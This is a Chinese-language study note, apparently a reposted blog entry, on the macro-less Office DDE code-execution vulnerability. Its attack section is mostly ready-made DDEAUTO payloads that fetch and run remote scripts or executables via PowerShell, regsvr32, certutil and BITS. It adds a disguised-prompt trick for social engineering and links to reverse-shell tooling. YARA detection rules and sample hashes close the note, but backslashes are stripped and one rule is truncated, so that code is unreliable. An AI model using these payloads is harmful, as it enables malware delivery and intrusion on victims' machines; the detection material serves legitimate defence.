Office DDE漏洞学习笔记

1、前言

2017年下半年爆发出来的Office漏洞,一直没有空做笔记记录。在病毒分析中也看到有利用这个漏洞的样本,针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点。

2、office DDE

Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

2.1、利用方式:

打开一个新的Word文档,按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将下面这段代码复制到两个大括号之间,然后保存文件:

{ DDEAUTO c:windowssystem32cmd.exe "/k calc.exe" }

或者插入-文档部件-域,选择第一个= (Formula) 然后右键切换域代码来编辑代码,插入上面的内容

这样子可以直接弹出计算器。

2.2、Payload

DDEAUTO c:WindowsSystem32cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:WindowsSystem32cmd.exe /c cscript.exe index.js"
DDEAUTO c:windowssystem32cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:windowssystem32cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:WindowsSystem32cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "

过程很简单,不足的是打开文件过程中会有两次弹窗,第一次是询问是否更新链接,第二个是问是否执行程序,当两个都点击确认后才会执行。

社会工程学技术来对程序所弹出的消息框信息进行处理

DDEAUTO "C:ProgramsMicrosoftOfficeMSWord........windowssystem32WindowsPowerShellv1.0powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"

除了上面使用的DDEAUTO,DDE也有能实现这个效果,但是要多一个步骤 将文件后缀改为zip或rar,用7z打开,修改word/settings.xml文件,增加一行<w:updateFields w:val="true"/>

替换原来的xml文件后把后缀改回来

编辑文档,域代码为{ DDE "c:windowssystem32cmd.exe" "/c notepad" } 效果跟上面一样

类似方法除了上面两个外还有以下关键字可使用:

GLOSSARY

IMPORT

INCLUDE

SHAPE

DISPLAYBARCODE

MERGEBARCODE

2.3、测试工具

一个bash脚本并使用CactusTorch来自动化地在生成vbs/hta/js文件中生成反向HTTPS meterpreter Payload

https://github.com/xillwillx/CACTUSTORCH_DDEAUTO

独角兽是使用PowerShell降级攻击并将shellcode直接注入内存的简单工具。基于Matthew Graeber的PowerShell攻击和由David Kennedy(TrustedSec)和Josh Kelly在Defcon 18提供的PowerShell旁路技术。

https://github.com/trustedsec/unicorn

2.4、解决方案

  • YARA检测规则
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
 
rule Office_DDEAUTO_field {
  strings:
    $a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
  condition:
    $a
}
 
rule Office_DDE_field {
  strings:
    $a = /.+?b[Dd][Dd][Ee]b.+?/
  condition:
    $a
}
 
rule Office_OLE_DDEAUTO {
  strings:
    $a = /x13s*DDEAUTOb[^x14]+/ nocase
  condition:
    uint32be(0) == 0xD0CF11E0 and $a
}
 
rule Office_OLE_DDE {
  strings:
    $a = /x13s*DDEb[^x14]+/ nocase
  condition:
    uint32be(0) == 0xD0CF11E0 and $a
  • 检测工具和提取命令方法

https://blog.didierstevens.com/2017/07/19/updatezipdump-py-version-0-0-11/

使用zipdump.py和YARA规则,结合Linux中的sed工具实现提取样本中的命令,移除XML标签以显示攻击者的恶意命令:

3、测试样本HASH

bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea

4、参考

Office DDE多种利用方式已公开

https://www.anquanke.com/post/id/87078

MSWORD CODE EXEC WITHOUT MACRO

https://kylingit.com/blog/msword-code-exec-without-macro/

Macro-less Code Exec in MSWord

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

检测MS Office文档中的DDE

https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

updatezipdump-py-version-0-0-11

https://blog.didierstevens.com/2017/07/19/updatezipdump-py-version-0-0-11/

3.1.3.2 Additional Fields

https://msdn.microsoft.com/en-us/library/ff529384(v=office.12).aspx

Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass

http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html

原文地址:https://www.cnblogs.com/17bdw/p/8546380.html